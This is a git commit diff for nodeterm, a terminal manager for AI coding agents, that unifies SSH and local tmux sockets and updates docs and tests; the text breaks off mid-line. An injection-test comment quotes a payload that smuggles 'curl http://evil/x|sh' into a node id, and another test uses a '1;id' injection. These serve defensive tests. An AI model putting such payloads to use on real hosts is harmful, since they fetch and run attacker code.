Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(ssh): spawn an SSH project's sessions on the host's own tmux socket
review691649ce8d53
diff --git a/CLAUDE.md b/CLAUDE.mdindex b42552c02..1bc6e6e54 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -881,6 +881,26 @@ writes (xterm.js emits each reply as its own data event, so a mixed write is a pthe gate for the session's life (a pane app's DCS-passthrough query shows up as the same `ESC[c` andgets exactly one answer).+**One tmux socket per host, whichever side opens the project (2026-11).** An SSH project's sessions+live on the host's `node-terminal` socket — the SAME socket a nodeterm running ON that host uses+(`RMT_TMUX_SOCKET === TMUX_SOCKET`, pinned by `core/remote-ssh/unified-socket.test.ts`). Both sides+read the same `.nodeterm/project.json` and name every session `nt-<nodeId>`, so the socket was the+only thing keeping them apart: with its own `nodeterm-rmt` socket (2026-06 → 2026-11) a canvas opened+locally on the server and the same folder opened over SSH from a laptop were two tmux servers holding+same-named sessions that never saw each other, and every switch of machines cold-restored into a+fresh shell (field report; issue #1319 was the mobile half of it). The original "never collide with+the user's own tmux" rationale is satisfied by `node-terminal` already — the user's own tmux is on+`default`. `nodeterm-rmt` survives only as `LEGACY_RMT_TMUX_SOCKET`: the session-memory sweep, the+dev-ports sweep, the reaper and the by-name kill still list it so sessions an older build left there+stay visible as orphans and reapable/killable; nothing is spawned or re-attached there (a node whose+session is still on the legacy socket cold-restores onto `node-terminal`, exactly as after a host+reboot, and the old one shows up in the session-memory panel as an orphan). Do not give the SSH path+a socket of its own again. **Known limit, deliberately out of scope here:** hook events reach ONE+nodeterm — the endpoint baked into the session's env at creation, or the failover winner when that+one is dead (`agents/hooks/managed-script.ts`) — so a session two machines share shows its RUNNING /+NEEDS YOU badge on whichever side the hook reaches; the terminal and the work are shared, the badge+is not yet.+**A tmux client is not necessarily a watcher.** `SessionInfo.clients` is a COUNT(`#{session_attached}`), never a boolean, because one session can hold several: the app's painter,the user's own `tmux -L node-terminal attach`, a second nodeterm on the same socket, and our own@@ -7017,12 +7037,11 @@ about which machine they describe. Reading + parsing is `core/session-memory.ts``restartEligibility` at once; it asks on the same narrow `st?.sessionId` the node menu uses, so arow cannot promise what the closure would refuse.- **The name and the host were never the hard part — the SOCKET was.** Two nodeterm tmux sockets- live on one machine at once (`node-terminal` for a nodeterm running ON it, `nodeterm-rmt` for one- SSH-ing INTO it) and the sweep lists **both**, while the kill targeted one — so every row off the- other socket got "this stops its tmux session" and a kill that landed nowhere. Not exotic: a host- running its own `nodeterm-server` while being SSH'd into is exactly that, and the local mirror- (this machine's panel listing the `nodeterm-rmt` sessions another machine's nodeterm spawned here,- all orphans locally) is the same shape. A kill that knows only a NAME therefore goes to **every+ can live on one machine (`node-terminal` for every nodeterm — running ON it or, since the 2026-11+ unification, SSH-ing INTO it — and the legacy `nodeterm-rmt`, where a pre-unification build's SSH+ projects left sessions) and the sweep lists **both**, while the kill targeted one — so every row+ off the other socket got "this stops its tmux session" and a kill that landed nowhere. Not exotic+ at the time: a host running its own `nodeterm-server` while being SSH'd into was exactly that. A kill that knows only a NAME therefore goes to **everysocket that name could be on** (`KILL_TMUX_SOCKETS` → `remoteTmuxKillEverySocketArgs` /`localKillSockets`), which is safe because tmux's "can't find session" was already the ignoredcase, because the target is **exact** (`-t =nt-<id>`: without `=` tmux falls back to fnmatch then@@ -10469,8 +10488,10 @@ invariants:`os.homedir()`), so a hand-run `team bootstrap --adopt ~` is refused too.- **Handover ordering: nothing ends before `bootstrap` succeeded; nothing is resumed before its old- session is VERIFIED gone.** The kill runs on `nodeterm-rmt` ONLY (`RMT_TMUX_SOCKET`), with the- exact target `-t '=nt-<id>'` built only through `sessionName`, then a `has-session` per node.+ session is VERIFIED gone.** The kill runs on the host's `node-terminal` ONLY (`RMT_TMUX_SOCKET`,+ which is the same socket the server core resumes on since the 2026-11 unification — the kill+ precedes the resume, which is what keeps one process per conversation), with the exact target+ `-t '=nt-<id>'` built only through `sessionName`, then a `has-session` per node.`gone` needs tmux's OWN absence message: exit 1 is also a client/server protocol mismatch or asocket it may not open, where the kill failed too, and reading those as gone starts a second agenton one conversation (two CLIs appending to one transcript). `alive`/`unknown` nodes are reported@@ -11211,7 +11232,7 @@ What a restart MEANS, per fact — decided beside each fact, stated in its heade## The test suite never touches a live tmux server-This repo is developed from inside nodeterm, so `tmux -L node-terminal` and `-L nodeterm-rmt` are+This repo is developed from inside nodeterm, so `tmux -L node-terminal` (and a legacy `-L nodeterm-rmt`) arenot fixture names on a contributor's machine — they are the servers holding every terminal they haveopen. A test that binds one shares a process with the user's whole canvas, and the failure mode isnot a red test: it is every pane printing `[server exited unexpectedly]` (issue #629).@@ -11228,7 +11249,7 @@ inside a nodeterm terminal inherits a live client's, and production strips bothTwo suites deliberately name a real socket, and both are allowlisted with their reason in`src/core/tmux-socket-isolation.guard.test.ts`: `agents/pane-owner.test.ts` (the production bytes-hardcode `-L nodeterm-rmt`; re-spelling it would judge different bytes) and+hardcode the remote socket name; re-spelling it would judge different bytes) and`main/remote/host-destroy-tmux.test.ts` (`PtyManager` binds `TMUX_SOCKET` itself). The latter wasthe one file that reached the live server by construction — measured, not inferred — and it nowrefuses to start unless the sandbox is in effect.diff --git a/CONTRIBUTING.md b/CONTRIBUTING.mdindex 9ab37071a..acbc69e7e 100644--- a/CONTRIBUTING.md+++ b/CONTRIBUTING.md@@ -968,10 +968,10 @@ empty line because `#` starts a comment.**Share with team's remote commands are generated shell, and so is their test.** The probe, theinstaller wrapper, the `team` invocations and the kill-verify are built in`src/core/remote-ssh/share-team-remote.ts` and run under a real `/bin/sh` against a fake host in its-test; a change to one of them lands with a run there. The handover kill stays on the `nodeterm-rmt`-socket only, with exact `=nt-<id>` targets: the every-socket kill used elsewhere would also stop the-server core's `node-terminal` sessions, which are the ones the handover is starting. See CLAUDE.md-"Share with team".+test; a change to one of them lands with a run there. The handover kill targets exact `=nt-<id>`+names on the host's `node-terminal` socket only — never the every-socket fan-out used elsewhere —+and it runs BEFORE the server core resumes on that same socket, so one conversation never has two+processes. See CLAUDE.md "Share with team".**Remote context polling must bound bytes before SSH transports them.** Bootstrap from thefile's measured end, keep offsets in raw bytes, and distinguish an idle read from failure so@@ -1604,8 +1604,14 @@ tokens missing that were all present. Normalize at the read(`readFileSync(f, 'utf8').replace(/\r\n/g, '\n')`); `src/shared/line-endings.guard.test.ts` fails ona read that slices a `\n`-bearing literal without it.+**An SSH project spawns on the host's `node-terminal` socket — the same one a nodeterm running on+that host uses.** That is what lets the same folder, opened locally on the server and over SSH from a+laptop, attach the same `nt-<id>` sessions. `nodeterm-rmt` is a legacy name the sweeps and kills still+list; never spawn on it, and never give the SSH path a socket of its own again+(`src/core/remote-ssh/unified-socket.test.ts` pins the equality; CLAUDE.md "One tmux socket per host").+**A test never touches a live tmux server.** You will most likely run `npm test` from inside a-nodeterm terminal, where `-L node-terminal` and `-L nodeterm-rmt` are the servers holding every+nodeterm terminal, where `-L node-terminal` (and a legacy `-L nodeterm-rmt`) are the servers holding everynode you have open — one stray `kill-server` there ends your whole canvas, not your test. Every runtherefore gets a private `TMUX_TMPDIR` (`test/setup/tmux-sandbox.ts`), which re-points every socketname at once. Write real-tmux suites the normal way — pick your own socket name, and usediff --git a/docs/SERVER.md b/docs/SERVER.mdindex a68009132..283f69d85 100644--- a/docs/SERVER.md+++ b/docs/SERVER.md@@ -186,7 +186,7 @@ serves many SSH projects slowly accumulates **detached** agent sessions nobody wto — a field report counted 95 sessions holding 34 GB of idle `claude` processes. Everynodeterm-server (headless or serving) runs a **session budget** (`src/core/session-budget.ts`, thetmux counterpart of the renderer's WebGL budget): every 10 minutes it sweeps the local-`node-terminal` **and** SSH-remote `nodeterm-rmt` sockets and reaps the **least-recently-active+`node-terminal` **and** legacy SSH-remote `nodeterm-rmt` sockets and reaps the **least-recently-activedetached** `nt-*` sessions when- host **available memory** drops below a watermark (default 10% of RAM, floor 1 GB) — the@@ -206,7 +206,7 @@ The reaper's counterpart for a human: `startSessionMemoryService` (`src/core/sesis booted here too, beside the reaper in `src/server/index.ts`, and `window.nodeTerminal.sessionMemory`has a **real** ws-bridge implementation (not a stub). So the browser gets the bottom-left RAM pill andthe per-session breakdown, and both describe **the machine the server is served from**: its-`/proc/meminfo`, its `node-terminal` / `nodeterm-rmt` tmux sockets, its process table. Full write-up:+`/proc/meminfo`, its `node-terminal` (and legacy `nodeterm-rmt`) tmux sockets, its process table. Full write-up:`docs/session-memory.md`.**An SSH project's scope answers `ok:false` — "could not measure" — and that is deliberate.** Thediff --git a/docs/hosted-team-relay.md b/docs/hosted-team-relay.mdindex 6d9ca3857..77700f622 100644--- a/docs/hosted-team-relay.md+++ b/docs/hosted-team-relay.md@@ -250,8 +250,8 @@ installer already did on the host stays, and the project has not been touched ye### Which terminals continue-Every terminal of the project is handed over: its session on this desktop's remote tmux socket-(`nodeterm-rmt`) ends, and the node lives on in the server core's copy of the project.+Every terminal of the project is handed over: the session this desktop spawned on the host's tmux+socket (`node-terminal`) ends, and the node lives on in the server core's copy of the project.- **An agent continues its conversation** when its agent is resumable (`RESUMABLE_AGENTS`) and itsconversation id is known. The server core restarts it with `--resume` (`claude --resume <id>`,@@ -312,11 +312,12 @@ again.renderer names no folder).10. **Record the handover**: `handedOffTo` now names the team (`hostId`) and the project's id on theserver.-11. **End the sessions, and check.** One generated command kills each node's session on this- desktop's remote socket only (`nodeterm-rmt`, exact target `=nt-<id>`), then asks tmux whether- each one is gone. A session counts as gone only when tmux itself says it does not exist: tmux- also exits 1 for a version mismatch or a socket it may not open, and the kill failed there too.- Never the server core's socket (`node-terminal`): its sessions are the ones being started.+11. **End the sessions, and check.** One generated command kills each node's session on the host's+ socket (`node-terminal`, exact target `=nt-<id>` — the project's own node ids, nothing else),+ then asks tmux whether each one is gone. A session counts as gone only when tmux itself says it+ does not exist: tmux also exits 1 for a version mismatch or a socket it may not open, and the+ kill failed there too. Since the 2026-11 socket unification this is the SAME socket the server+ core resumes on: the kill precedes the resume, so one conversation never has two processes.12. **`team resume`** for the resumable agents whose sessions are gone, with the list on stdin.13. **Join**, and show the invite code.@@ -1331,7 +1332,7 @@ are unchanged.ignores a project id it does not already hold. Hosted desktop tabs are told by`relay:hosted:shared-changed` and open it at once.- **The installed server's idle reaper now also sees this desktop's other sessions on that host.**- Every nodeterm-server sweeps both the `node-terminal` and the `nodeterm-rmt` sockets+ Every nodeterm-server sweeps both the `node-terminal` and the legacy `nodeterm-rmt` sockets(`docs/SERVER.md`, "Session budget"), so once a server is installed there, the detached sessionsof this desktop's OTHER SSH projects on that host fall under the same rules: never an attachedone, never one active within the grace window (6 h by default), and only under memory pressure or@@ -1433,7 +1434,7 @@ on a Mac and a second desktop as a teammate. Record `team status --json` at eachthe dev server under "These terminals are running something that will stop:". The installer'soutput streams, the result shows the invite code, the SSH tab is replaced by the team's tab withno SAS prompt, and `team status --json` lists the Mac as an owner. On the host,- `tmux -L nodeterm-rmt ls` no longer lists the project's `nt-<id>` sessions.+ `tmux -L node-terminal ls` lists the project's `nt-<id>` sessions only as the server's resumed ones.18. **Share from Windows, onto an installed host.** The same from a Windows desktop, onto a hostwhose per-user nodeterm-server is already running: the confirm has no install line, noinstaller runs, and the result and the tab are as in item 17. Run each desktop against the otherdiff --git a/docs/live-links.md b/docs/live-links.mdindex 9f49f4020..b8d028159 100644--- a/docs/live-links.md+++ b/docs/live-links.md@@ -595,8 +595,8 @@ by every user through `ps`):- **Why keys never ride a paste buffer**: tmux 3.7 passes paste buffer content through vis(3) (issue#453), so an arrow key arrives as the text `^[[A` and Ctrl-C as `^C`.- **The target is exact**, `=nt-<id>:`, as for keyframes: `nt-x-1` is a prefix of `nt-x-12`.-- **SSH**: the same plans run on the host over the project's ControlMaster (the `nodeterm-rmt`- socket), stdin piped through ssh, every piece the remote shell reads single-quoted.+- **SSH**: the same plans run on the host over the project's ControlMaster (the host's+ `node-terminal` socket), stdin piped through ssh, every piece the remote shell reads single-quoted.- `PtyManager.controlInput` chains each session's chunks (a chunk starts only after the previous onesettled), re-reads the Session inside each step, answers whether it was delivered, never rejects, andgives each chunk what is left of its 20 s deadline. A chunk with nothing left when its turn comes isdiff --git a/docs/mobile-chat-view.md b/docs/mobile-chat-view.mdindex bcd361a5a..5cd712b0a 100644--- a/docs/mobile-chat-view.md+++ b/docs/mobile-chat-view.md@@ -151,8 +151,8 @@ N/A (it serves no phone relay; its bridge subscription is inert).`session_id` to the node, `tool_name` → plan/question; hook-script revision read from the installedscript's marker; revision < 5 → no answer controls.- **Send**: the desktop tmux paste plan — `load-buffer -b nt -` (text on **stdin**), copy-mode cancel- guard, `paste-buffer -d -p -r`, `send-keys Enter` — on the `node-terminal`/`nodeterm-rmt` socket the- session lives on. ESC bytes stripped.+ guard, `paste-buffer -d -p -r`, `send-keys Enter` — on the `node-terminal` socket the session+ lives on (one socket per host since 2026-11). ESC bytes stripped.- **Answer**: Swift port of `buildPermissionDecision` (validates against the pending request file),written atomically (`umask 077`, tmp + mv) from stdin; `pendingId` regex-validated before any path.diff --git a/docs/session-memory.md b/docs/session-memory.mdindex e338baeb2..69253e45c 100644--- a/docs/session-memory.md+++ b/docs/session-memory.md@@ -424,9 +424,10 @@ That is safe because it is a **round trip, not a lookup**: the panel's `nodeId`observed it on**. It does not rest on node ids being globally unique (they are only per-launchunique).-**The name and the host were never the hard part — the SOCKET was.** Two nodeterm tmux sockets exist-on one machine at the same time: `node-terminal` for a nodeterm running ON it (desktop or Server-Edition) and `nodeterm-rmt` for one SSH-ing INTO it. The sweep lists **both**+**The name and the host were never the hard part — the SOCKET was.** Two nodeterm tmux sockets can+exist on one machine: `node-terminal` for every nodeterm (running ON it — desktop or Server Edition —+or, since the 2026-11 unification, SSH-ing INTO it) and the legacy `nodeterm-rmt`, where a+pre-unification build's SSH projects left their sessions. The sweep lists **both**(`session-memory.ts`, `session-memory-remote.ts`) while the kill targeted **one** — so every row thatcame off the other socket got the confirm "this stops its tmux session" and a kill that landednowhere. That is not an exotic host: one running its own `nodeterm-server` *and* being SSH'd into is@@ -450,9 +451,8 @@ name could be on**: `KILL_TMUX_SOCKETS`, via `remoteTmuxKillEverySocketArgs` (renot rare — an ordinary node-`×` on a node that was never mounted in this process takes it everytime, which is the common case right after an app restart and for every non-active project's node— and project deletion is the same shape remotely. Those callers know their own nodes, so they- stay narrow: speculating at `nodeterm-rmt` aims at sessions ANOTHER machine's nodeterm SSHed in to- spawn here, and speculating at a host's `node-terminal` aims at sessions a nodeterm running ON it- owns. Both defaults and both opt-ins are pinned (`pty-single-user.test.ts`,+ stay narrow: speculating at the legacy `nodeterm-rmt` aims at sessions an older build on ANOTHER+ machine SSHed in to spawn here, which their own node-× has already failed to reach once. Both defaults and both opt-ins are pinned (`pty-single-user.test.ts`,`control-master.test.ts`, `ssh-project.killSessions.test.ts`), including that the wire flag mustbe a literal `true`.@@ -524,13 +524,15 @@ The kill actually reaching the host (the bug most recently fixed, and the one nowherever it was, not merely absent from the panel.2. Same, for a row owned by a CLOSED ssh project (it resolves to a title, so it takes thecloseSession path plus the remote kill — both legs must land).- 2b. THE CROSS-SOCKET CASE, and the reason both sockets are now killed. On a host that also runs its- own `nodeterm-server`, open an SSH project pointed at it: the panel lists that server's own- sessions (they live on `node-terminal`, not `nodeterm-rmt`). Kill one and confirm with- `tmux -L node-terminal ls` on the host. Before the fix this row's confirm was a no-op.- 2c. The LOCAL mirror of 2b: from another machine, SSH into this one with nodeterm and open a- terminal (it lands on this machine's `nodeterm-rmt`). On THIS machine the panel shows it as an- orphan; kill it and confirm with `tmux -L nodeterm-rmt ls` locally.+ 2b. THE CROSS-SOCKET CASE (legacy). On a host that also runs its own `nodeterm-server`, with+ sessions a pre-2026-11 build left on `nodeterm-rmt`: open an SSH project pointed at it; the+ panel lists the rows off both sockets. Kill one of each and confirm with `tmux -L node-terminal+ ls` and `tmux -L nodeterm-rmt ls` on the host. Before the fix the `nodeterm-rmt` row's confirm+ was a no-op.+ 2c. THE SHARED-SOCKET CASE (current). From another machine, SSH into this one with nodeterm and+ open a terminal: it lands on THIS machine's `node-terminal`, and opening the same folder+ locally here attaches the SAME `nt-<id>` session (the whole point of the unification). The+ panel shows it as owned, not an orphan; its node-× ends it for both machines.3. Kill a node created less than a sweep ago (<1 s): the confirm wording may say "no node" from thestale snapshot, and the CANVAS node is currently left behind (§4's known hole) — confirm whichof the two actually happens on a real machine.diff --git a/docs/uninstall.md b/docs/uninstall.mdindex c5886acfd..ab9b0f367 100644--- a/docs/uninstall.md+++ b/docs/uninstall.md@@ -71,8 +71,8 @@ Two deliberate exceptions:1. Server Edition systemd units are disabled and their unit files removed.2. The desktop app is asked to quit (AppleScript on macOS, SIGTERM elsewhere), with a10-second grace before a hard kill.-3. The tmux servers on nodeterm's private sockets (`node-terminal`, and `nodeterm-rmt` if- another machine SSH'd in) are killed — **the script lists every live session first and+3. The tmux servers on nodeterm's private sockets (`node-terminal`, and the legacy `nodeterm-rmt`+ if an older build on another machine SSH'd in) are killed — **the script lists every live session first andwarns that processes inside them end.** Your own tmux (default socket) is untouched.4. Lingering SSH ControlMasters are closed via `ssh -O exit` on each`~/.nodeterm/ssh-cm/*.sock`.@@ -85,7 +85,7 @@ Two deliberate exceptions:*before* deleting it and prints the list with a manual `rm -rf` hint instead of deleting.- **Remote SSH hosts.** A connected SSH project installs the same hook scripts/skills underthe *host's* `~/.nodeterm` and agent dirs, and its sessions live on the host's- `nodeterm-rmt` tmux socket. The script prints per-host cleanup instructions; it does not+ `node-terminal` tmux socket (older builds: `nodeterm-rmt`). The script prints per-host cleanup instructions; it does notreach over the network.- **The agent CLIs and tmux themselves** — nodeterm never owned them.diff --git a/src/core/agents/pane-owner.test.ts b/src/core/agents/pane-owner.test.tsindex bbbc745e3..8d4cb93c4 100644--- a/src/core/agents/pane-owner.test.ts+++ b/src/core/agents/pane-owner.test.ts@@ -20,7 +20,7 @@ import {parseForegroundArgv,parsePaneOwner} from './pane-owner'-import { remotePaneOwnerCombinedArgs } from '../remote-ssh/control-master'+import { RMT_TMUX_SOCKET, remotePaneOwnerCombinedArgs } from '../remote-ssh/control-master'describe('PANE_OWNER_FMT', () => {it('asks for pid, tty, current command and the pane id in one round-trip', () => {@@ -211,7 +211,7 @@ describe('paneOwnerFrom', () => {** The tmux server is entirely private: its own socket, in its own `TMUX_TMPDIR`, removed with the* directory in afterAll. Nothing here can see — let alone touch — the app's `node-terminal` socket- * or an SSH project's `nodeterm-rmt` one, and nothing is left behind in the shared `/tmp/tmux-<uid>`+ * (the same one an SSH project uses on its host), and nothing is left behind in the shared `/tmp/tmux-<uid>`* of a host that may be running other people's sessions.*/const tmuxBin = (() => {@@ -337,7 +337,7 @@ describe('parseCombinedPaneOwner', () => {/*** THE REAL SCRIPT (Global Constraint 9) — `remotePaneOwnerCombinedArgs`'s remote command is* generated shell no compiler checks, so it runs here for REAL: under `/bin/sh`, against a real- * tmux server on the `nodeterm-rmt` socket name — inside this suite's own private `TMUX_TMPDIR`,+ * tmux server on the production remote socket NAME (`RMT_TMUX_SOCKET`) — inside this suite's own private `TMUX_TMPDIR`,* so the byte-identical script resolves a test server and can never see an SSH project's real* remote socket. The bytes that ship are the bytes judged.*/@@ -346,7 +346,7 @@ describe.skipIf(!tmuxBin)('the combined remote script, under a real /bin/sh + reconst scriptFor = (session: string): string =>remotePaneOwnerCombinedArgs(conn, '/s.sock', session).at(-1) as stringconst rmt = (...args: string[]) =>- execFileSync(tmuxBin as string, ['-L', 'nodeterm-rmt', ...args], {+ execFileSync(tmuxBin as string, ['-L', RMT_TMUX_SOCKET, ...args], {encoding: 'utf8',timeout: 10_000,env: { ...process.env, TMUX_TMPDIR }diff --git a/src/core/dev-ports.ts b/src/core/dev-ports.tsindex 1e39964e3..21f3d03f1 100644--- a/src/core/dev-ports.ts+++ b/src/core/dev-ports.ts@@ -26,7 +26,7 @@ import { shellSingleQuote } from '../shared/shell-quote'import { indexProcesses, type PaneRef } from './session-memory'import { fencedListPanesCommand, parseFencedPanes } from './session-memory-remote'import { TMUX_SOCKET } from './tmux-naming'-import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'+import { LEGACY_RMT_TMUX_SOCKET } from './remote-ssh/control-master'import type { SessionHostListing } from './session-host-client'import { cimRows, powershellArgs, powershellExe } from './win32-powershell'@@ -38,10 +38,10 @@ const LISTEN = '##LISTEN'const FD = '##FD'const END = '##END'-/** The sockets nodeterm's sessions live on — a local project's (`node-terminal`) and an SSH- * project's on its host (`nodeterm-rmt`). Both are listed on either machine, like session memory,- * because a host can run a nodeterm of its own. */-export const DEV_PORT_SOCKETS: readonly string[] = [TMUX_SOCKET, RMT_TMUX_SOCKET]+/** The sockets nodeterm's sessions live on — `node-terminal` for local AND SSH projects (one+ * socket per host since the 2026-11 unification) plus the legacy SSH-remote socket an older build+ * may have left sessions on. Both are listed on either machine, like session memory. */+export const DEV_PORT_SOCKETS: readonly string[] = [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]export interface DevPortsProbeOptions {/** tmux sockets to list. Tests pass a private one; production uses DEV_PORT_SOCKETS. */diff --git a/src/core/pty-manager.pane-owner.test.ts b/src/core/pty-manager.pane-owner.test.tsindex 272419397..09c795a21 100644--- a/src/core/pty-manager.pane-owner.test.ts+++ b/src/core/pty-manager.pane-owner.test.ts@@ -253,9 +253,9 @@ describe('PtyManager.paneOwner', () => {expect(calls[0].file).toBe('/usr/bin/ssh')expect(calls[0].args.includes('ControlPath=/tmp/cm-abc')).toBe(true)const script = calls[0].args.at(-1) as string- // The REMOTE socket, never the local one — a local `nt-<id>` would be another machine's session.+ // The HOST's socket, reached over ssh (the one exec above is the ssh client — no local tmux ran,+ // so a local `nt-<id>`, which would be another machine's session, was never asked).expect(script).toContain(`tmux -L ${RMT_TMUX_SOCKET} display-message`)- expect(script).not.toContain(`-L ${TMUX_SOCKET} `)// Both halves of the read live in the one script: the fenced identity, then the ps rows.expect(script).toContain("printf '%s\\n'")expect(script).toContain('ps -ww -o pid= -o pgid= -o stat= -o args= -t "$tty"')diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.tsindex 8d197ef6e..3c1b32a3f 100644--- a/src/core/pty-manager.ts+++ b/src/core/pty-manager.ts@@ -1383,7 +1383,7 @@ export class PtyManager {* - `size`: the effective grid the painter last enforced. With only a control client attached* the pane follows `refresh-client -C <cols>x<rows>`, so this is what a shadow re-asserts.* - `remote`: this node's tmux ran on a REMOTE host (an SSH project) — over that project's- * ControlMaster, on the `nodeterm-rmt` socket THERE. Our local socket holds no session for it;+ * ControlMaster, on the `node-terminal` socket THERE. Our local socket holds no session for it;* at best nothing, at worst the local orphan a create issued with the master down once left* under the same name. Never shadow it locally.*@@ -1609,7 +1609,7 @@ export class PtyManager {if (this.zellijKeys.has(persistKey)) return nullconst known = this.released.get(persistKey)// A remote (SSH-project) node's tmux server is on the FAR host, reached over that project's- // ControlMaster on the `nodeterm-rmt` socket. A local `-C attach -t nt-<id>` here would find+ // ControlMaster, on the HOST's `node-terminal` socket. A local `-C attach -t nt-<id>` here would find// nothing — or, if a create once ran with the master down, the LOCAL orphan wearing this node's// name, which is a different machine's idea of the node and must never be typed into. Routing// control mode over ssh is a separate job; refusing is the honest answer until it exists.@@ -1681,8 +1681,9 @@ export class PtyManager {* the session under it, and the shadow dies with it.** Socket-scoped because `nt-<node>` is only unique within a socket: shadows are attached on the- * LOCAL socket only, and a genuinely attached session of the same name on `nodeterm-rmt` (an SSH- * host's own sessions) keeps its exemption.+ * LOCAL socket only, and a genuinely attached session of the same name on the legacy+ * `nodeterm-rmt` socket (what a pre-unification build's SSH projects left on this host) keeps its+ * exemption.*/shadowedTmuxSessions(socket: string): string[] {if (socket !== TMUX_SOCKET) return []@@ -8105,8 +8106,8 @@ export class PtyManager {// Which socket(s) to aim at. Holding the session ourselves means we KNOW: it is the local one,// one kill, unchanged. Holding nothing means the name is all we have — and then the fan-out// is the CALLER's to ask for, because on this machine a `nt-<id>` we hold nothing for can- // also be living on the `nodeterm-rmt` socket, where ANOTHER machine's nodeterm puts the- // sessions it SSHes in to spawn. Only the session-memory panel's speculative kill sets+ // also be living on the legacy `nodeterm-rmt` socket, where a pre-unification build on ANOTHER+ // machine put the sessions it SSHed in to spawn. Only the session-memory panel's speculative kill sets// `everySocket`: it sweeps both sockets and offers to end what it found, so a kill that only// tried `node-terminal` showed a confirm saying "this stops its tmux session" and did// nothing. An ordinary node-× on a node never mounted in this process takes the same unhelddiff --git a/src/core/pty-relay-attach.test.ts b/src/core/pty-relay-attach.test.tsindex 70bdd4149..0d6ce8a8a 100644--- a/src/core/pty-relay-attach.test.ts+++ b/src/core/pty-relay-attach.test.ts@@ -13,6 +13,7 @@* observable and nothing real is started.*/import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'+import { RMT_TMUX_SOCKET } from './remote-ssh/control-master'import { existsSync } from 'fs'import { initPlatform, resetPlatformForTests } from './platform'import { fakePlatform } from './platform-fake'@@ -124,7 +125,7 @@ describe('relay attach routes by this machine’s records, never to a local shelconst line = args.join(' ')expect(line).toContain('/var/tmp/nt-test-cm-p1')expect(line).toContain(sessionName(SSH_NODE))- expect(line).toContain('nodeterm-rmt') // the REMOTE socket+ expect(line).toContain(`-L ${RMT_TMUX_SOCKET} `) // the HOST's socket, over ssh}, 20_000)it('a local node is created with the env the desktop gives it, via the one env builder', async () => {diff --git a/src/core/relay-keys.test.ts b/src/core/relay-keys.test.tsindex ad4a1d092..2d8aae875 100644--- a/src/core/relay-keys.test.ts+++ b/src/core/relay-keys.test.ts@@ -50,7 +50,7 @@ describe('key encodings', () => {it('the remote send-keys line names only the closed set', () => {const conn = { host: 'box.test', user: 'u' }const args = remoteSendKeyArgs(conn, '/tmp/cm', 'nt-n1', ['-l', '1'])- expect(args[args.length - 1]).toContain("tmux -L nodeterm-rmt send-keys -t '=nt-n1:' -l 1")+ expect(args[args.length - 1]).toContain("tmux -L node-terminal send-keys -t '=nt-n1:' -l 1")expect(() => remoteSendKeyArgs(conn, '/tmp/cm', 'nt-n1', ['-l', '1;id'])).toThrow()expect(() => remoteSendKeyArgs(conn, '/tmp/cm', 'nt n1', ['Enter'])).toThrow()})diff --git a/src/core/relay/team-resume.ts b/src/core/relay/team-resume.tsindex 2fa18618f..acea336d3 100644--- a/src/core/relay/team-resume.ts+++ b/src/core/relay/team-resume.ts@@ -1,6 +1,6 @@// `team resume`: restart the agents a desktop handed over, on THIS core's tmux socket, with their// conversations resumed (`claude --resume <id>`, …). Called by "Share with team" only after the-// desktop VERIFIED each node's old `nodeterm-rmt` session is gone — two processes on one+// desktop VERIFIED each node's old SSH-spawned session is gone — two processes on one// conversation would interleave its transcript — and re-checked here per node with the EXACT tmux// target (a bare `has-session` prefix-matches, so `nt-x-1` would answer for `nt-x-12`).// Idempotent: a session that already exists is `already-running`, and so is a node another requestdiff --git a/src/core/remote-ssh/control-master.injection.test.ts b/src/core/remote-ssh/control-master.injection.test.tsindex 72c57b27e..0f12a1df3 100644--- a/src/core/remote-ssh/control-master.injection.test.ts+++ b/src/core/remote-ssh/control-master.injection.test.ts@@ -18,7 +18,7 @@ import { remoteTmuxPathPrologue } from '../../shared/ssh'* a cloned/shared repo and is written on remote hosts — i.e. it is attacker-supplied data. The* proven payload was:*- * tmux -L nodeterm-rmt new-session -A -e NODETERM_HOOK_ENDPOINT=/ep \+ * tmux -L node-terminal new-session -A -e NODETERM_HOOK_ENDPOINT=/ep \* -e NODETERM_NODE_ID=n1;curl${IFS}http://evil/x|sh;# … -s 'nt-n1' -c '/home/u'** where the `;` ends the tmux command and the rest runs as the SSH user the moment the victim@@ -166,7 +166,7 @@ describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never comma// and the command still carries exactly one tmux invocation with the expected shape (the// PATH prologue + tmux-missing fallback now precede it, so the head is indexOf, not slice).const t = argv.lastIndexOf('tmux') // the guard's `command -v tmux` also carries the word- expect(argv.slice(t, t + 3)).toEqual(['tmux', '-L', 'nodeterm-rmt'])+ expect(argv.slice(t, t + 3)).toEqual(['tmux', '-L', 'node-terminal'])expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)expect(argv).toContain('nt-n1')})diff --git a/src/core/remote-ssh/control-master.realsh.test.ts b/src/core/remote-ssh/control-master.realsh.test.tsindex baeb8de57..bc92d6151 100644--- a/src/core/remote-ssh/control-master.realsh.test.ts+++ b/src/core/remote-ssh/control-master.realsh.test.ts@@ -112,7 +112,7 @@ describe('REAL sh: a payload node id is one literal argument, never command struexpect(markers, `a canary EXECUTED for ${name}`).toEqual([])expect(extraStdout, `stray stdout for ${name}`).toBe('')expect(argv, `payload was not one literal arg for ${name}`).toContain(`NODETERM_NODE_ID=${payload}`)- expect(argv.slice(0, 2)).toEqual(['-L', 'nodeterm-rmt'])+ expect(argv.slice(0, 2)).toEqual(['-L', 'node-terminal'])expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)expect(argv).toContain('nt-n1')expect(argv).toContain('/home/u')@@ -224,7 +224,7 @@ describe('REAL sh: remote tmux PATH resolution + graceful degrade (issue #449)',// PATH deliberately has NO tmux — only the $HOME/.local/bin append can resolve it.const out = runRaw(cmd, { PATH: emptyPath(), HOME: home })const argv = out.split('\0').slice(0, -1)- expect(argv.slice(0, 2)).toEqual(['-L', 'nodeterm-rmt'])+ expect(argv.slice(0, 